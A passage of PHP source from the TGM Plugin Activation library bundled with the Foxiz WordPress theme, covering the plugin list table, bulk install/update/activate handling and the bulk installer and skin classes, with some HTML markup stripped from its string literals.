$item['slug'] ), esc_attr( $item['sanitized_plugin'] ) ); } /** * Create default title column along with the action links. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The plugin name and action links. */ public function column_plugin( $item ) { return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) ); } /** * Create version information column. * * @since 2.5.0 * * @param array $item Array of item data. * @return string HTML-formatted version information. */ public function column_version( $item ) { $output = array(); if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { $installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'foxiz' ); $color = ''; if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) { $color = ' color: #ff0000; font-weight: bold;'; } $output[] = sprintf( '

%2$s' . esc_html__( 'Installed version:', 'foxiz' ) . '

', $color, $installed ); } if ( ! empty( $item['minimum_version'] ) ) { $output[] = sprintf( '

%1$s' . esc_html__( 'Minimum required version:', 'foxiz' ) . '

', $item['minimum_version'] ); } if ( ! empty( $item['available_version'] ) ) { $color = ''; if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) { $color = ' color: #71C671; font-weight: bold;'; } $output[] = sprintf( '

%2$s' . esc_html__( 'Available version:', 'foxiz' ) . '

', $color, $item['available_version'] ); } if ( empty( $output ) ) { return ' '; // Let's not break the table layout. } else { return implode( "\n", $output ); } } /** * Sets default message within the plugins table if no plugins * are left for interaction. * * Hides the menu item to prevent the user from clicking and * getting a permissions error. * * @since 2.2.0 */ public function no_items() { echo esc_html__( 'No plugins to install, update or activate.', 'foxiz' ) . ' ' . esc_html__( 'Return to the Dashboard', 'foxiz' ) . ''; echo ''; } /** * Output all the column information within the table. * * @since 2.2.0 * * @return array $columns The column names. */ public function get_columns() { $columns = array( 'cb' => '', 'plugin' => esc_html__( 'Plugin', 'foxiz' ), 'source' => esc_html__( 'Source', 'foxiz' ), 'type' => esc_html__( 'Type', 'foxiz' ), ); if ( 'all' === $this->view_context || 'update' === $this->view_context ) { $columns['version'] = esc_html__( 'Version', 'foxiz' ); $columns['status'] = esc_html__( 'Status', 'foxiz' ); } return apply_filters( 'tgmpa_table_columns', $columns ); } /** * Get name of default primary column * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string */ protected function get_default_primary_column_name() { return 'plugin'; } /** * Get the name of the primary column. * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string The name of the primary column. */ protected function get_primary_column_name() { if ( method_exists( 'WP_List_Table', 'get_primary_column_name' ) ) { return parent::get_primary_column_name(); } else { return $this->get_default_primary_column_name(); } } /** * Get the actions which are relevant for a specific plugin row. * * @since 2.5.0 * * @param array $item Array of item data. * @return array Array with relevant action links. */ protected function get_row_actions( $item ) { $actions = array(); $action_links = array(); // Display the 'Install' action link if the plugin is not yet available. if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['install'] = esc_html__( 'Install %2$s', 'foxiz' ); } else { // Display the 'Update' action link if an update is available and WP complies with plugin minimum. if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['update'] = esc_html__( 'Update %2$s', 'foxiz' ); } // Display the 'Activate' action link, but only if the plugin meets the minimum version. if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['activate'] = esc_html__( 'Activate %2$s', 'foxiz' ); } } // Create the actual links. foreach ( $actions as $action => $text ) { $nonce_url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $item['slug'] ), 'tgmpa-' . $action => $action . '-plugin', ), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' ); $action_links[ $action ] = sprintf( '' . esc_html( $text ) . '', // $text contains the second placeholder. esc_url( $nonce_url ), '' . esc_html( $item['sanitized_plugin'] ) . '' ); } $prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : ''; return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context ); } /** * Generates content for a single row of the table. * * @since 2.5.0 * * @param object $item The current item. */ public function single_row( $item ) { parent::single_row( $item ); /** * Fires after each specific row in the TGMPA Plugins list table. * * The dynamic portion of the hook name, `$item['slug']`, refers to the slug * for the plugin. * * @since 2.5.0 */ do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context ); } /** * Show the upgrade notice below a plugin row if there is one. * * @since 2.5.0 * * @see /wp-admin/includes/update.php * * @param string $slug Plugin slug. * @param array $item The information available in this table row. * @return null Return early if upgrade notice is empty. */ public function wp_plugin_update_row( $slug, $item ) { if ( empty( $item['upgrade_notice'] ) ) { return; } echo ' '; } /** * Extra controls to be displayed between bulk actions and pagination. * * @since 2.5.0 * * @param string $which 'top' or 'bottom' table navigation. */ public function extra_tablenav( $which ) { if ( 'bottom' === $which ) { $this->tgmpa->show_tgmpa_version(); } } /** * Defines the bulk actions for handling registered plugins. * * @since 2.2.0 * * @return array $actions The bulk actions for the plugin install table. */ public function get_bulk_actions() { $actions = array(); if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) { if ( current_user_can( 'install_plugins' ) ) { $actions['tgmpa-bulk-install'] = esc_html__( 'Install', 'foxiz' ); } } if ( 'install' !== $this->view_context ) { if ( current_user_can( 'update_plugins' ) ) { $actions['tgmpa-bulk-update'] = esc_html__( 'Update', 'foxiz' ); } if ( current_user_can( 'activate_plugins' ) ) { $actions['tgmpa-bulk-activate'] = esc_html__( 'Activate', 'foxiz' ); } } return $actions; } /** * Processes bulk installation and activation actions. * * The bulk installation process looks for the $_POST information and passes that * through if a user has to use WP_Filesystem to enter their credentials. * * @since 2.2.0 */ public function process_bulk_actions() { // Bulk installation process. if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); $install_type = 'install'; if ( 'tgmpa-bulk-update' === $this->current_action() ) { $install_type = 'update'; } $plugins_to_install = array(); // Did user actually select any plugins to install/update ? if ( empty( $_POST['plugin'] ) ) { if ( 'install' === $install_type ) { $message = esc_html__( 'No plugins were selected to be installed. No action taken.', 'foxiz' ); } else { $message = esc_html__( 'No plugins were selected to be updated. No action taken.', 'foxiz' ); } echo '

', esc_html( $message ), '

'; return false; } if ( is_array( $_POST['plugin'] ) ) { $plugins_to_install = (array) $_POST['plugin']; } elseif ( is_string( $_POST['plugin'] ) ) { // Received via Filesystem page - un-flatten array (WP bug #19643). $plugins_to_install = explode( ',', $_POST['plugin'] ); } // Sanitize the received input. $plugins_to_install = array_map( 'urldecode', $plugins_to_install ); $plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install ); // Validate the received input. foreach ( $plugins_to_install as $key => $slug ) { // Check if the plugin was registered with TGMPA and remove if not. if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) { unset( $plugins_to_install[ $key ] ); continue; } // For install: make sure this is a plugin we *can* install and not one already installed. if ( 'install' === $install_type && true === $this->tgmpa->is_plugin_installed( $slug ) ) { unset( $plugins_to_install[ $key ] ); } // For updates: make sure this is a plugin we *can* update (update available and WP version ok). if ( 'update' === $install_type && false === $this->tgmpa->is_plugin_updatetable( $slug ) ) { unset( $plugins_to_install[ $key ] ); } } // No need to proceed further if we have no plugins to handle. if ( empty( $plugins_to_install ) ) { if ( 'install' === $install_type ) { $message = esc_html__( 'No plugins are available to be installed at this time.', 'foxiz' ); } else { $message = esc_html__( 'No plugins are available to be updated at this time.', 'foxiz' ); } echo '

', esc_html( $message ), '

'; return false; } // Pass all necessary information if WP_Filesystem is needed. $url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] ); // Give validated data back to $_POST which is the only place the filesystem looks for extra fields. $_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643. $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. $fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) { return true; // Stop the normal page form from displaying, credential request form will be shown. } // Now we have some credentials, setup WP_Filesystem. if ( ! WP_Filesystem( $creds ) ) { // Our credentials were no good, ask the user for them again. request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields ); return true; } /* If we arrive here, we have the filesystem */ // Store all information in arrays since we are processing a bulk installation. $names = array(); $sources = array(); // Needed for installs. $file_paths = array(); // Needed for upgrades. $to_inject = array(); // Information to inject into the update_plugins transient. // Prepare the data for validated plugins for the install/upgrade. foreach ( $plugins_to_install as $slug ) { $name = $this->tgmpa->plugins[ $slug ]['name']; $source = $this->tgmpa->get_download_url( $slug ); if ( ! empty( $name ) && ! empty( $source ) ) { $names[] = $name; switch ( $install_type ) { case 'install': $sources[] = $source; break; case 'update': $file_paths[] = $this->tgmpa->plugins[ $slug ]['file_path']; $to_inject[ $slug ] = $this->tgmpa->plugins[ $slug ]; $to_inject[ $slug ]['source'] = $source; break; } } } unset( $slug, $name, $source ); // Create a new instance of TGMPA_Bulk_Installer. $installer = new TGMPA_Bulk_Installer( new TGMPA_Bulk_Installer_Skin( array( 'url' => esc_url_raw( $this->tgmpa->get_tgmpa_url() ), 'nonce' => 'bulk-' . $this->_args['plural'], 'names' => $names, 'install_type' => $install_type, ) ) ); // Wrap the install process with the appropriate HTML. echo '
', '

', esc_html( get_admin_page_title() ), '

'; // Process the bulk installation submissions. add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'tgmpa-bulk-update' === $this->current_action() ) { // Inject our info into the update transient. $this->tgmpa->inject_update_info( $to_inject ); $installer->bulk_upgrade( $file_paths ); } else { $installer->bulk_install( $sources ); } remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1 ); echo '
'; return true; } // Bulk activation process. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); // Did user actually select any plugins to activate ? if ( empty( $_POST['plugin'] ) ) { echo '

', esc_html__( 'No plugins were selected to be activated. No action taken.', 'foxiz' ), '

'; return false; } // Grab plugin data from $_POST. $plugins = array(); if ( isset( $_POST['plugin'] ) ) { $plugins = array_map( 'urldecode', (array) $_POST['plugin'] ); $plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins ); } $plugins_to_activate = array(); $plugin_names = array(); // Grab the file paths for the selected & inactive plugins from the registration array. foreach ( $plugins as $slug ) { if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path']; $plugin_names[] = $this->tgmpa->plugins[ $slug ]['name']; } } unset( $slug ); // Return early if there are no plugins to activate. if ( empty( $plugins_to_activate ) ) { echo '

', esc_html__( 'No plugins are available to be activated at this time.', 'foxiz' ), '

'; return false; } // Now we are good to go - let's start activating plugins. $activate = activate_plugins( $plugins_to_activate ); if ( is_wp_error( $activate ) ) { echo '

', wp_kses_post( $activate->get_error_message() ), '

'; } else { $count = count( $plugin_names ); // Count so we can use _n function. $plugin_names = array_map( array( 'TGMPA_Utils', 'wrap_in_strong' ), $plugin_names ); $last_plugin = array_pop( $plugin_names ); // Pop off last name to prep for readability. $imploded = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'foxiz' ) . ' ' . $last_plugin ); printf( // WPCS: xss ok. '

%1$s %2$s.

', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'foxiz' ) ), $imploded ); // Update recently activated plugins option. $recent = (array) get_option( 'recently_activated' ); foreach ( $plugins_to_activate as $plugin => $time ) { if ( isset( $recent[ $plugin ] ) ) { unset( $recent[ $plugin ] ); } } update_option( 'recently_activated', $recent ); } unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another. return true; } return false; } /** * Prepares all of our information to be outputted into a usable table. * * @since 2.2.0 */ public function prepare_items() { $columns = $this->get_columns(); // Get all necessary column information. $hidden = array(); // No columns to hide, but we must set as an array. $sortable = array(); // No reason to make sortable columns. $primary = $this->get_primary_column_name(); // Column which has the row actions. $this->_column_headers = array( $columns, $hidden, $sortable, $primary ); // Get all necessary column headers. // Process our bulk activations here. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { $this->process_bulk_actions(); } // Store all of our plugin data into $items array so WP_List_Table can use it. $this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() ); } /* *********** DEPRECATED METHODS *********** */ /** * Retrieve plugin data, given the plugin name. * * @since 2.2.0 * @deprecated 2.5.0 use {@see TGM_Plugin_Activation::_get_plugin_data_from_name()} instead. * @see TGM_Plugin_Activation::_get_plugin_data_from_name() * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ protected function _get_plugin_data_from_name( $name, $data = 'slug' ) { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'TGM_Plugin_Activation::_get_plugin_data_from_name()' ); return $this->tgmpa->_get_plugin_data_from_name( $name, $data ); } } } if ( ! class_exists( 'TGM_Bulk_Installer' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer class was originally called TGM_Bulk_Installer. * For more information, see that class.}} */ class TGM_Bulk_Installer { } } if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer skin class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer_Skin class was originally called TGM_Bulk_Installer_Skin. * For more information, see that class.}} */ class TGM_Bulk_Installer_Skin { } } /** * The WP_Upgrader file isn't always available. If it isn't available, * we load it here. * * We check to make sure no action or activation keys are set so that WordPress * does not try to re-include the class when processing upgrades or installs outside * of the class. * * @since 2.2.0 */ add_action( 'admin_init', 'tgmpa_load_bulk_installer' ); if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) { /** * Load bulk installer */ function tgmpa_load_bulk_installer() { // Silently fail if 2.5+ is loaded *after* an older version. if ( ! isset( $GLOBALS['tgmpa'] ) ) { return; } // Get TGMPA class instance. $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) { if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if ( ! class_exists( 'TGMPA_Bulk_Installer' ) ) { /** * Installer class to handle bulk plugin installations. * * Extends WP_Upgrader and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader.}} * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer to TGMPA_Bulk_Installer. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer extends Plugin_Upgrader { /** * Holds result of bulk plugin installation. * * @since 2.2.0 * * @var string */ public $result; /** * Flag to check if bulk installation is occurring or not. * * @since 2.2.0 * * @var boolean */ public $bulk = false; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Whether or not the destination directory needs to be cleared ( = on update). * * @since 2.5.0 * * @var bool */ protected $clear_destination = false; /** * References parent constructor and sets defaults for class. * * @since 2.2.0 * * @param \Bulk_Upgrader_Skin|null $skin Installer skin. */ public function __construct( $skin = null ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( $skin ); if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) { $this->clear_destination = true; } if ( $this->tgmpa->is_automatic ) { $this->activate_strings(); } add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) ); } /** * Sets the correct activation strings for the installer skin to use. * * @since 2.2.0 */ public function activate_strings() { $this->strings['activation_failed'] = esc_html__( 'Plugin activation failed.', 'foxiz' ); $this->strings['activation_success'] = esc_html__( 'Plugin activated successfully.', 'foxiz' ); } /** * Performs the actual installation of each plugin. * * @since 2.2.0 * * @see WP_Upgrader::run() * * @param array $options The installation config options. * @return null|array Return early if error, array of installation data on success. */ public function run( $options ) { $result = parent::run( $options ); // Reset the strings in case we changed one during automatic activation. if ( $this->tgmpa->is_automatic ) { if ( 'update' === $this->skin->options['install_type'] ) { $this->upgrade_strings(); } else { $this->install_strings(); } } return $result; } /** * Processes the bulk installation of plugins. * * @since 2.2.0 * * {@internal This is basically a near identical copy of the WP Core * Plugin_Upgrader::bulk_upgrade() method, with minor adjustments to deal with * new installs instead of upgrades. * For ease of future synchronizations, the adjustments are clearly commented, but no other * comments are added. Code style has been made to comply.}} * * @see Plugin_Upgrader::bulk_upgrade() * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838 * (@internal Last synced: Dec 31st 2015 against https://core.trac.wordpress.org/browser/trunk?rev=36134}} * * @param array $plugins The plugin sources needed for installation. * @param array $args Arbitrary passed extra arguments. * @return array|false Install confirmation messages on success, false on failure. */ public function bulk_install( $plugins, $args = array() ) { // [TGMPA + ] Hook auto-activation in. add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->install_strings(); // [TGMPA + ] adjusted. /* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */ /* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */ $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); /* [TGMPA - ] foreach ( $plugins as $plugin ) $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) ); */ if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { $this->update_current++; /* [TGMPA - ] $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->set_result('up_to_date'); $this->skin->before(); $this->skin->feedback('up_to_date'); $this->skin->after(); $results[$plugin] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active($plugin); */ $result = $this->run( array( 'package' => $plugin, // [TGMPA + ] adjusted. 'destination' => WP_PLUGIN_DIR, 'clear_destination' => false, // [TGMPA + ] adjusted. 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, ), ) ); $results[ $plugin ] = $this->result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } //end foreach $plugins $this->maintenance_mode( false ); /** * Fires when the bulk upgrader process is complete. * * @since WP 3.6.0 / TGMPA 2.5.0 * * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might * be a Theme_Upgrader or Core_Upgrade instance. * @param array $data { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $packages Array of plugin, theme, or core packages to update. * } */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'install', // [TGMPA + ] adjusted. 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. /* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */ // [TGMPA + ] Remove our auto-activation hook. remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return $results; } /** * Handle a bulk upgrade request. * * @since 2.5.0 * * @see Plugin_Upgrader::bulk_upgrade() * * @param array $plugins The local WP file_path's of the plugins which should be upgraded. * @param array $args Arbitrary passed extra arguments. * @return string|bool Install confirmation messages on success, false on failure. */ public function bulk_upgrade( $plugins, $args = array() ) { add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $result = parent::bulk_upgrade( $plugins, $args ); remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); return $result; } /** * Abuse a filter to auto-activate plugins after installation. * * Hooked into the 'upgrader_post_install' filter hook. * * @since 2.5.0 * * @param bool $bool The value we need to give back (true). * @return bool */ public function auto_activate( $bool ) { // Only process the activation of installed plugins if the automatic flag is set to true. if ( $this->tgmpa->is_automatic ) { // Flush plugins cache so the headers of the newly installed plugins will be read correctly. wp_clean_plugins_cache(); // Get the installed plugin file. $plugin_info = $this->plugin_info(); // Don't try to activate on upgrade of active plugin as WP will do this already. if ( ! is_plugin_active( $plugin_info ) ) { $activate = activate_plugin( $plugin_info ); // Adjust the success string based on the activation result. $this->strings['process_success'] = $this->strings['process_success'] . "
\n"; if ( is_wp_error( $activate ) ) { $this->skin->error( $activate ); $this->strings['process_success'] .= $this->strings['activation_failed']; } else { $this->strings['process_success'] .= $this->strings['activation_success']; } } } return $bool; } } } if ( ! class_exists( 'TGMPA_Bulk_Installer_Skin' ) ) { /** * Installer skin to set strings for the bulk plugin installations.. * * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer_Skin to * TGMPA_Bulk_Installer_Skin. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer_Skin extends Bulk_Upgrader_Skin { /** * Holds plugin info for each individual plugin installation. * * @since 2.2.0 * * @var array */ public $plugin_info = array(); /** * Holds names of plugins that are undergoing bulk installations. * * @since 2.2.0 * * @var array */ public $plugin_names = array(); /** * Integer to use for iteration through each plugin installation. * * @since 2.2.0 * * @var integer */ public $i = 0; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Constructor. Parses default args with new ones and extracts them for use. * * @since 2.2.0 * * @param array $args Arguments to pass for use within the class. */ public function __construct( $args = array() ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); // Parse default and new args. $defaults = array( 'url' => '', 'nonce' => '', 'names' => array(), 'install_type' => 'install', ); $args = wp_parse_args( $args, $defaults ); // Set plugin names to $this->plugin_names property. $this->plugin_names = $args['names']; // Extract the new args. parent::__construct( $args ); } /** * Sets install skin strings for each individual plugin. * * Checks to see if the automatic activation flag is set and uses the * the proper strings accordingly. * * @since 2.2.0 */ public function add_strings() { if ( 'update' === $this->options['install_type'] ) { parent::add_strings(); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Updating Plugin %1$s (%2$d/%3$d)', 'foxiz' ); } else { /* translators: 1: plugin name, 2: error message. */ $this->upgrader->strings['skin_update_failed_error'] = esc_html__( 'An error occurred while installing %1$s: %2$s.', 'foxiz' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_failed'] = esc_html__( 'The installation of %1$s failed.', 'foxiz' ); if ( $this->tgmpa->is_automatic ) { // Automatic activation strings. $this->upgrader->strings['skin_upgrade_start'] = esc_html__( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'foxiz' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = esc_html__( '%1$s installed and activated successfully.', 'foxiz' ); $this->upgrader->strings['skin_upgrade_end'] = esc_html__( 'All installations and activations have been completed.', 'foxiz' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'foxiz' ); } else { // Default installation strings. $this->upgrader->strings['skin_upgrade_start'] = esc_html__( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'foxiz' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = esc_html__( '%1$s installed successfully.', 'foxiz' ); $this->upgrader->strings['skin_upgrade_end'] = esc_html__( 'All installations have been completed.', 'foxiz' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing Plugin %1$s (%2$d/%3$d)', 'foxiz' ); } } } /** * Outputs the header strings and necessary JS before each plugin installation. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function before( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::before( $title ); } /** * Outputs the footer strings and necessary JS after each plugin installation. * * Checks for any errors and outputs them if they exist, else output * success strings. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function after( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::after( $title ); $this->i++; } /** * Outputs links after bulk plugin installation is complete. * * @since 2.2.0 */ public function bulk_footer() { // Serve up the string to say installations (and possibly activations) are complete. parent::bulk_footer(); // Flush plugins cache so we can make sure that the installed plugins list is always up to date. wp_clean_plugins_cache(); $this->tgmpa->show_tgmpa_version(); // Display message based on if all plugins are now active or not. $update_actions = array(); if ( $this->tgmpa->is_tgmpa_complete() ) { // All plugins are active, so we display the complete string and hide the menu to protect users. echo ''; $update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'foxiz' ) . '' ); } else { $update_actions['tgmpa_page'] = '' . esc_html( $this->tgmpa->strings['return'] ) . ''; } /** * Filter the list of action links available following bulk plugin installs/updates. * * @since 2.5.0 * * @param array $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-handled plugin. */ $update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } /* *********** DEPRECATED METHODS *********** */ /** * Flush header output buffer. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function before_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); } /** * Flush footer output buffer and iterate $this->i to make sure the * installation strings reference the correct plugin. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function after_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); $this->i++; } } } } } } if ( ! class_exists( 'TGMPA_Utils' ) ) { /** * Generic utilities for TGMPA. * * All methods are static, poor-dev name-spacing class wrapper. * * Class was called TGM_Utils in 2.5.0 but renamed TGMPA_Utils in 2.5.1 as this was conflicting with Soliloquy. * * @since 2.5.0 * * @package TGM-Plugin-Activation * @author Juliette Reinders Folmer */ class TGMPA_Utils { /** * Whether the PHP filter extension is enabled. * * @see http://php.net/book.filter * * @since 2.5.0 * * @static * * @var bool $has_filters True is the extension is enabled. */ public static $has_filters; /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_em( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_strong( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Helper function: Validate a value as boolean * * @since 2.5.0 * * @static * * @param mixed $value Arbitrary value. * @return bool */ public static function validate_bool( $value ) { if ( ! isset( self::$has_filters ) ) { self::$has_filters = extension_loaded( 'filter' ); } if ( self::$has_filters ) { return filter_var( $value, FILTER_VALIDATE_BOOLEAN ); } else { return self::emulate_filter_bool( $value ); } } /** * Helper function: Cast a value to bool * * @since 2.5.0 * * @static * * @param mixed $value Value to cast. * @return bool */ protected static function emulate_filter_bool( $value ) { // @codingStandardsIgnoreStart static $true = array( '1', 'true', 'True', 'TRUE', 'y', 'Y', 'yes', 'Yes', 'YES', 'on', 'On', 'ON', ); static $false = array( '0', 'false', 'False', 'FALSE', 'n', 'N', 'no', 'No', 'NO', 'off', 'Off', 'OFF', ); // @codingStandardsIgnoreEnd if ( is_bool( $value ) ) { return $value; } elseif ( is_int( $value ) && ( 0 === $value 